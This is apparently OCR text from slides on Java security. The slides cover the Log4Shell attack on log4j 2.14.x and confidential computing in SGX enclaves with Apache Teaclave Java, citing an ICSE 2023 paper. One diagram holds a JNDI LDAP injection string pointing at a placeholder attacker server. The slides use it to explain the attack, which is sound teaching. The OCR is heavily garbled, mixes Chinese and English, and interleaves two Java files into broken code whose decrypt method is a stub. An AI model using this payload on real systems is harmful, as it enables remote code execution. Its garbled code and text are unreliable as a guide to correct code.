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Client Java Application Server

memory

log4)j—core— 3
2.14.x.jar Attacker .
class
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Inject malicious request: Attacking Server
${indi:ldap: //xx.xx.xx.xx: 1 (ip:xx.xx.xx.xx:1389)

QE*J:F ;ﬁ}i*ﬂ%% 389/ Attacker |
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o MER: JavackmiFJavaIENZRER, GraalVMZmiEJavallZiEFE Anativesi S E

SR
Xinyuan Miao, Ziyi Lin, Shaojun Wan % Lei Yu, Sanhong Li, Zihan Wang, Pengbo Nie, Yuting Chen, Beijjun Shen,
He Jiang. Lejacon: A Lightweight and Efficient Approach to Java Confidential Computlng

on SGX. ICSE 2023. Distinguished paper.

. IET TApache Teaclavett X FREIF4L: https://teaclave.apache.org
REEBA: BE. MEx=. 1549, Intel
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Teaclave Java T & ALK

2 £
@, public interface AuthenticationService { *ﬂ%‘ﬁ&%):ﬂ HH

@ Enclave ST
) * @param inputPwd the

Secure . java

Unsecure. java

» public class Main {

e boolean authenticate(String inputPwd);
(<

> public static void main(String[] args) throws Exception ({
Enclave enclave = EnclaveFactory.create(); =

iAutoService (AuthenticationService.class)
Iterator<AuthenticationService> services = enclave.load(ARuthenticationService.class);

public class AuthenticationServiceImpl implements AuthenticationService {
String pwd = "encryptedPwd";
while (services.hasNext()) { private String pwd = "somePwd";
AuthenticationService authenticationService = services.next ();
if (authenticationService.authenticate (pwd)) { verride
System.out.println("Passed"); ol public boolean authenticate(String inputPwd) {
| } else { | String decryptedInputPwd = decrypt (inputPwd);
System.out.println("Rejected"); return pwd.equals (decryptedInputPwd);
}

}

enclave.destroy(); e

? private static String decrypt (Strlng 1nputhd) {
j:t\ = N
} E, |%$EE,%I:P1J:EJﬁHHE% return inputPwd; assume 1it's decrypted witl]
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Client Java Application Server

TEE
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